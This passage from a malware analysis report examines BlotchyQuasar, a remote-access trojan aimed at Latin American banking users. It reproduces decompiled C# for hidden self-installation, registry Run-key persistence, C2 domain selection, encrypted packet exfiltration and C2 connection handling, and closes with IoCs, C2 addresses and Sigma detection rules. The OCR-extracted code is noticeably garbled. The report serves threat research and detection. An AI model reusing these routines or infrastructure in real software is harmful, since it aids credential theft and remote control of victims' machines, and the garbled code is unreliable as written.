WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true,
FileName = persistenceInformationSet.InstallPath
¥s
try
€
! Process.Start(processStartInfo);
¥
catch (Exception)
{
: persistenceInformationSet.Disconnect = true;
¢ return;
T
persistenceInformationSet.Disconnect = true;

Figure 66: Second half of the function used to install it-self inside victim’s filesystem.

In addition to the previously mentioned persistence mechanisms, this threat further
establishes its foothold by adding new registry keys within the following locations, en-
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suring that any additional payloads or malicious components are executed each time the
user logs on (Fig. 67):

HKEY_LOCAL_MACHINE\Software\ Microsoft\ Windows\ Current Version\ Run
HKEY_CURRENT_USER\Software\ Microsoft\ Windows\ Current Version\ Run

HKEY_CURRENT_USER\Software\ Microsoft\ Windows\ Current Version
RunOnce

HKEY_LOCAL_MACHINE\SOFTWARE\ Wow6432Node\Microsoft\ Windows\
Run (only for x64 systems)

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\ Microsoft\ Windows\
RunOnce (only for x64 systems)

{
try
{

public static void getAutostartItem(global::serializedDataReceivedFromC2,stub command, networkingPrimitives client)

List<string> list = new List<string>();
using (RegistryKey registryKey = editRegistryKey.OpenReadonlySubKey(RegistryHive.localMachine, "SOFTWARE\\Microsoft\
\Windows\\CurrentVersiony\Run"))
{
if (registryKey != null)
{
list.AddRange(from formattedKeyValue in registryKey.GetFormattedKeyValues()
select "8" + formattedKeyValue);
}
}
using (RegistryKey registryKey2 = editRegistryKey.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft)
\Windows\\CurrentVersion\\RunOnce"))
{
if (registryKey2 != null)
{
list.AddRange(from formattedKeyValue in registryKey2.GetFormattedkeyValues()
select "1" + formattedKeyValue);
}
}
using (Registrykey registryKey3 = editRegistryKey.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\
\Windows\\CurrentVersion\\Run"))
{

Figure 67: This threat can set, get and delete programs added to the startup registry

keys.

Further investigation into the aLotofMaliciousStuff class has revealed the existence
of three methods that appear to be unused in the current implementation:

ShowNotification: This method creates an informational balloon tip with the title
Update Windows and a custom message body. It is then possible to assume, with
good confidence, that this might be used to deceive the user into downloading third-
party malicious software. S possible strategy employed by the Threat Actor to sell
advertising space within their malware, allowing other threat actors to leverage this
platform for their own distribution (Fig. 68);

returnRandomDomain: This function randomly selects and returns one of six do-
mains associated with port 443. The purpose of this method could be to provide
backup Command and Control servers or to check connectivity to different domains,
ensuring resilience and flexibility in communication with the malware’s command
infrastructure (Fig. 68).
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e ibankingRegex: This method performs a comparison of a given string against a pre-
defined regular expression. A string must contain specific letters, with the possibil-
ity of other arbitrary strings between them, to match the regex. This functionality
could be used to obfuscate hardcoded strings and evade static detection mechanisms
by refining how sensitive information is handled (Fig. 69).

private static void ShowNotification(object sender, string wvalue)
{

alotOfMaliciousstuff._notifylcon.ShowBalloonTip(4eee, "Update Windows", value, ToolTipIcen.Info);
T

// Token: @xec0@3898 RID: 14488
public static string returnRandomDomain()
{
Random randem = new Random();
Listestring> list = new List<string» { "varjolatijolos.space:443", "agicltursement.ink:443", "mercantokiko.xyz:443",
“gastronomleo.lat:443", "cfestlolequiep.store:443", "agicltursement.ink:443" };
int num = random.Next(list.Count);
return list[num];

Figure 68: ShowNotification and returnRandomDomain functions

private static bool ibankingRegex(string title)

{

: string text = "i.*n.*t.*e.*r.*n.*e.*t.*b.*a.*n.*k.*1.*n.*g.*c.*a.*1.*x.*a";
' return Regex.IsMatch(title, text, RegexOptions.IgnoreCase);

T

Figure 69: ibankingregex function

The presence of these unused functions suggests several possible scenarios. One hy-
pothesis is that the Threat Actor may be developing multiple versions of this threat,
each tailored for different operational contexts. By retaining these methods, they can
easily swap, add, or remove functionalities as needed. Alternatively, the presence of these
extraneous methods, coupled with unhandled exceptions, debugging strings, inefficient
code segments, and deprecated functions (such as the use of RijndaelManaged, which is
deprecated in .NET 5.0+ in favor of AesManaged or Aes), may indicate a rushed devel-
opment process. This could suggest that the adversary faced time constraints and was
unable to optimize or refine the code effectively.

Examining the threat’s packet transmission behavior reveals several key characteristics
Fig. 70). Before sending packets over the Internet, it employs a two-stage processing
mechanism involving compression and encryption.
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private void Send(object state)
{
! while (this.Connected)

Queue<byte[]> sendBuffers = this._sendBuffers;
byte[] array;
lock (sendBuffers)
{

if (this._sendBuffers.Count == @)

{

' this.SendCleanup(false);

return;
b
array = this._sendBuffers.Dequeue();

: this._handle.Send(this.BuildPacket(array));
i continue;

}

catch (Exception ex)

{

!\ this.OnClientFail(ex);

this.SendCleanup(true);

ey

i
return;

P LR

¥

his.SendCleanup(true);

// Token: @x@60038DC RID: 14556 RVA: @x8@751EA@ File Offset: @xe@7502A8
private byte[] BuildPacket(byte[] payload)

payload = QuickLZ.compress(payload, 3);

] payload = crypto.EncryptAES256DefaultKey(payload);

byte[] array = new byte[payload.Length + this.HEADER_SIZE];
Array.Copy(BitConverter.GetBytes(payload.Length), array, this.HEADER_SIZE);
Array.Copy(payload, @, array, this.HEADER_SIZE, payload.Length);

return array;

Figure 70: Function used to prepare and send data to CéC.

The compression routine, identified through error handling strings such as ” C# ver-
sion only supports level 1 and 37, is associated with the open-source QuickLZ compression
library (Fig. 71). This tool is utilized to compress data before encryption. The encryp-

tion process involves AES256-CBC with PKCS7 padding.

In this method, plaintext

is encrypted using an MD35-hashed version of the ENCRYPTIONKEY parameter (Fig.
56). The resulting encrypted data is a byte array where the first 16 bytes represent a

randomly generated Initialization Vector (IV'), and the remaining bytes constitute the
ciphertext (Fig. 72).

{

public static byte[] decompress(byte[] source)

if (source.Length == @)
return new byte[@];

int num = (source[®] >> 2) & 3;
if (num != 1 && num != 3)
{

throw new ArgumentException("C# version only supports level 1 and 3");
¥
int num2
int num3
int i = 6;
uint num4 = 1U;

QuickLZ.M4MIMM(source);
QuickLZ.MYHKHHQL (source);

byte[] array = new byte[num27];

Figure 71: Function used to decompress QuickLZ data shows error handling strings.
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public static byte[] EncryptAES256DefaultkKey(byte[] input)
{
\ if (crypto._key == null || crypto._key.lLength == 8)
throw new Exception("Key can not be empty.”);
¥
if (input == null || input.Length == @)
{
throw new ArgumentException("Input can not be empty.");
¥
byte[] array = new byte[@];
try
€
using (MemoryStream memoryStream = new MemoryStream())
{
! using (RijndaelManaged rijndaelManaged = new RijndaelManaged
Key = crypto._key
»
{
' rijndaelManaged.GenerateIV();
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(),
CryptoStreamMode .Write))
memoryStream.Write(rijndaelManaged.IV, 8, rijndaelManaged.IV.Length);
cryptoStream.Write(input, @, input.Llength);
}
! array = memoryStream.ToArray();
] }
]
catch
{
1
: return array;
I

Figure 72: Function used to encrypt data via AES256-CBC with PKCS7 padding.

For decryption, the AsyncReceive method, which is assigned as the AsyncCallBack
function in the receiver module of the threat (Fig. 73), performs the inverse operations
(Fig. 74). The process involves decrypting the data, decompressing it, and finally dese-
rializing it to retrieve the original content.

public void initializeConnection(string host, ushort port)

{

¢ if (this._serializer == null)

oA

: | throw new Exception("Serializer not initialized");

Lol

iootry

iod

: . this.disconnect();

: this.lockProxyClients();

; this._handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
; this._handle.SetKeepAliveEx(this.KEEP_ALIVE_INTERVAL, this.KEEP_ALIVE_TIME);
; this._readBuffer = new byte[this.BUFFER_SIZE];

: this._tempHeader = new byte[this.HEADER_SIZE];

: this._handle.Connect(host, (int)port);

: if (this._handle.Connected)

i {

: this._handle.BeginReceive(this._readBuffer, @, this._readBuffer.Length, SocketFlags.None, new AsyncCallback
: (this.AsyncReceive), null);

; this.OnClientState(true);

H H X

; T

+ catch (Exception ex)

|

; . this.OnClientFail(ex);

; ¥

I

Figure 73: Setup of the initial connection to the C&C Server.

August 24, 2024



Malware Analysis Report 44

if (1flag4)
{

this._payloadBuffer = crypto.DecryptAES256(this._payloadBuffer);
flag4 = this._payloadBuffer.Length == 8;

b

if (!flags)

{

try
¢
this._payloadBuffer = QuickLZ.decompress(this._payloadBuffer);
¥
catch (Exception)
{
. flag3 = false;
this.disconnect();
+ continue;
}
flag4 = this._payloadBuffer.Length == @;
H
if (flag4)
{

flag3 = false;
this.disconnect();
continue;
}
using (MemoryStream memoryStream = new MemoryStream(this._payloadBuffer))
{
try
{
IPacket packet = (IPacket)this._serializer.Deserialize(memoryStream);
this.OnClientRead(packet);
¥

Figure 74: Main routine of the AsyncReceive function which decrypts, decompresses and
deserializes CéC received content.

These findings underscore the threat’s use of robust techniques for data protection
and exfiltration, ensuring that transmitted data remains concealed and secure from casual
observation.

Within the cryptographic primitives namespace, additional unused encryption and
decryption functions were identified:

o FEncryptAndConvertToB64: This function is designed to encode data in Base64
format and then encrypt it using AES256 with a custom key. Notably, there is no
corresponding decryption function for this routine, limiting its utility in the threat’s
current implementation. The available decryption method does not support the use
of a custom key, relying instead on a standard embedded key;

o EncryptAndConvertToB6/DefaultKey: This method performs Base64 encoding of
data followed by AFES256 encryption using a default embedded key;

o DecryptAES256FromB64 DefaultKey: This function decodes a Base6/-encoded string
and subsequently decrypts it using AES256 with the default embedded key.

The presence of these functions, despite their lack of use in the current threat opera-
tions, suggests that the threat actor may have intended to implement additional encryp-
tion mechanisms or had considered different encryption strategies during development
(Fig. 75 and Fig. 76).
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public static string EncryptAndConvertToBé4(string input, string key)
{
: return Convert.ToBase64String(crypto.AES256Encrypt(Encoding.UTF8.GetBytes(input), Encoding.UTF8.GetBytes(key)));
}

// Token: execee3Bee RID: 151e4

public static string EncryptAndConvertToBé4DefaultKey(string input)
{

return Convert.ToBaseé4String(crypto.EncryptAES256Defaultkey(Encoding.UTF8.GetBytes(input)));
\

Figure 75: Unused encoding and encryption functions.

public static string DecryptAES256FromB64DefaultKey(string input)

{

return Encoding.UTF8.GetString(crypto.DecryptAES256(Convert.FromBase64String(input)));
}

Figure 76: Unused decoding and decryption function.
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6 Conclusion

In conclusion, the malspam campaign deploying BlotchyQuasar exemplifies a sophisti-
cated and multifaceted threat operation specifically tailored for Latin American targets.
The attack’s success hinges on its effective use of DLL side-loading, a technique that
allows it to execute a wide range of malicious activities while evading traditional security
defenses.

This analysis reveals a notable paradox in the threat actor’s tradecraft: the campaign
pairs a sophisticated and effective attack chain with a codebase that shows clear signs
of being rushed, inefficient, and poorly managed. This contrast suggests an adversary
who prioritizes rapid, functional deployment over stealth and code optimization. While
these flaws may present opportunities for detection and mitigation, they do not diminish
the significant harm posed by the malware’s potent capabilities for credential theft and
system control. Ultimately, this campaign serves as a critical reminder of the evolving
threat landscape and reinforces the urgent need for heightened cybersecurity awareness
and strengthened defenses, particularly within the financial sector in Latin America where
such targeted attacks are on the rise.

August 24, 2024



Malware Analysis Report

A Appendix

A.1 TIoCs, TTPs & Yara Rules

The entire set of IoCs, TTPs and few Yara Rules, gathered through-out this entire
analysis, are available inside the following AlienVault OTX pulse.

Under the Hood of BlotchyQuasar: DLL-Based RAT Campaigns Against Latin America

[REATE ] 7MINUTES AGO | MINUTE AGO by SnowFrOst | Pubic | TLP: _ White.

On August 19, 2024, a sophisticated malspam campaign targeting Latin American countries, with a particular focus on Brazil, was uncovered. This campaign employs a highly deceptive phishing email designed to trick users into downloading a malicious MS fil. Once executed, this file
initiates a multi-stage threat infection by downloading an archive that contains a legitimate executable from Valve Corporation along with amalicious DLL. The DLL is a troj ion of a legitimate one executable, enabling the threat to employ DLL side-loading, a
technique where the malicious DLL is loaded by the legitimate executable, thus bypassing standard security defenses.

REFERENCE: otx_blotchyquasar_pulse json
TAG: DLL injection

ADVERSARY: Hopkinsville Gobiin
INDUSTRY:

inance

TARGETED COUNTRIES: Brazil Argentina. Peru, Mexico, Chile, Colombia, Costa Rica. Panama. Ecuador, Uruguay. Venezuela, Bolivarian Republic of

MALWARE FAMILY: ALF HeraklezEvalBackdoorWin32/QuasarRAT

ATT&CK IDS:

TI566.001 - Spearphishing Attachment, T1059 - Command and Scripting Interpreter. T1203 - Exploitation for Client Execution, T1204.001 - Malicious Link, T1574.002 - DLL Side-Loading, TI047 - Windows Management Instrumentation. T1547001 - Reistry Run Keys / Startup Folder,
T1564.001 - Hidden Files and Directories, TI027.006 - Indicator Removal from Tools. TIO8 ~ Exploitation for Privilege Escalation. T1027 - Obfuscated Files or Information, T1027.001 - Binary Padding, TI038.005 - Match Legitimate Name or Location, TIOS001 - Keylogging.

T1003 - OS Credential Dumping, T1555.003 - Credentials from Web Browsers. T1082 - System Information Discovery, TIO12 - Query Registry. TIOI0 - Application Window Discovery. T1518.001 - Security Software Discovery, TTI3 - Screen Capture, TI005 - Data from Local System.
TI573002 - Asymmetric Cryptography. TIO71001 - Web Protacals. TI090.001 - Internal Proxy. TTIOS - Ingress Tool Transfer, TIO1 - Exfiltration Over C2 Channel, T1490 . TI485 - Data Destruction, T1565 - Data

Figure 77: Overview of the AlienVault OTX pulse
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A.2 Sigma Rules

title: Detection of Suspicious AnyDesk File Modification and Termination via
PowerShell
id: 1234abcd-5678-efgh-ijk1-9012mnopqrst
description: Detects suspicious PowerShell activity involving AnyDesk file
modification and process termination when specific command patterns are
observed.
status: experimental
author: Alessio Di Santo
date: 2024-11-26
logsource:
category: process_creation
product: windows
detection:
selection:
Image: ’*\powershell.exe’
CommandLine|all:
- ’ad.anynet.pwd_hash=’
- ’ad.anynet.pwd_salt=’
- ’ad.anynet.token_salt=’
- ’taskkill /IM anydesk.exe /F’
condition: selection
fields:
- CommandLine
ParentCommandLine
- ParentImage
- Image
- User
level: high
tags:
- attack.persistence
- attack.t1562.001
- attack.t1098
falsepositives:
- Legitimate administrative maintenance involving AnyDesk
mitre:
- T1562.001
- T1098
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title: Suspicious MSI Installer Downloaded via Malspam
id: 9fc2e660-1bld-4b4a-8aaf-6a2b3c71d2f9
description: Detect execution of the malicious MSI installer (67deel.msi) used
in the LATAM BlotchyQuasar campaign.
author: Alessio Di Santo
date: 2025/06/27
tags:
- attack.initial_access
- attack.t1566.001
- malware
logsource:
product: windows
service: sysmon
definition: ’Sysmon Event ID 1: Process Create’
detection:
selection:
EventID: 1
Image|endswith: ’\msiexec.exe’
CommandLine|contains:

- ’67deel.msi’
condition: selection
level: high
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title: DLL Side-Loading of vstdlib_s64.d1l1l by SteamErrorReporter.exe
id: 5a7b4282-34f2-4d6b-8c3e-0d6af8f5c6fa
description: Detect when steamerrorreporter.exe loads vstdlib_s64.d11 (quasar
RAT) via DLL side-loading.
author: Alessio Di Santo
date: 2025/06/27
tags:
- attack.t1574.002
- attack.execution
- malware
logsource:
product: windows
service: sysmon
definition: ’Sysmon Event ID 7: Image loaded’
detection:
selection:
EventID: 7
Imageloaded|endswith: ’\vstdlib_s64.d11’
ParentImage|endswith: ’\EIUWI383IE.exe’
condition: selection
level: critical
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title: BlotchyQuasar Network Chain: Drop + GeoIP Services
id: 2c8fa042-a80f-4c9a-aba4-3£5d2e08e5d2-mod
description: Detect a connection to at least one drop server domain plus all
three GeoIP services used by BlotchyQuasar.
author: Alessio Di Santo
date: 2025/06/27
tags:
- attack.t1105
- attack.t1071.001
- attack.t1573.002
logsource:
product: firewall
service: any
detection:
# At least one drop or staging domain
selection_drop:
DestinationHostname |matches:
- ’notificacao.noticiasnovidads.xyz’
- ’liga-730ce-default-rtdb.europe-westl.firebasedatabase.app’
# All three GeolIP lookup services
selection_geoip_telize:
DestinationHostname|contains: ’telize.com’
selection_geoip_freegeoip:
DestinationHostname|contains: ’freegeoip.net’
selection_geoip_ipify:
DestinationHostname|contains: ’api.ipify.org’
condition: selection_drop and selection_geoip_telize and
selection_geoip_freegeoip and selection_geoip_ipify
level: high
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A.3 Infection Chain
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A.4 Diamond Model

Capabilities

T1566.001
T1059
T1203

T1204.001

T1574.002
T1047

T1547.001

T1564.001

T1027.005
T1068
T1027

T1027.001

T1036.005

T1056.001
T1003

T1555.003
T1082
T1012
T1010

T1518.001
T1113
T1005

T1573.002

T1071.001

T1090.001
T1105
T1041
T1485
T1490
T1565

ce2bb4ele06fa%eddb54af794b109370
aT4c0c1155a4173cfdeee1358c2d1077
ce0862a14585%eaad2c640e6bbe29031

Adversary

Hopkinsville Goblin
(Alias: "kikoooioiooioi")

LATAM countries, Financial credentials,
Personal data

Victim

Infratructure

4.203.138[.]18
4.203.136[.]J200
4.228.226[.]69
54.233.85[.]151
15.228.186[.]93
notificacao.noticiasnovidads[.]xyz
liga-730ce-default-rtdb.europe-
west1.firebasedatabase[.]app
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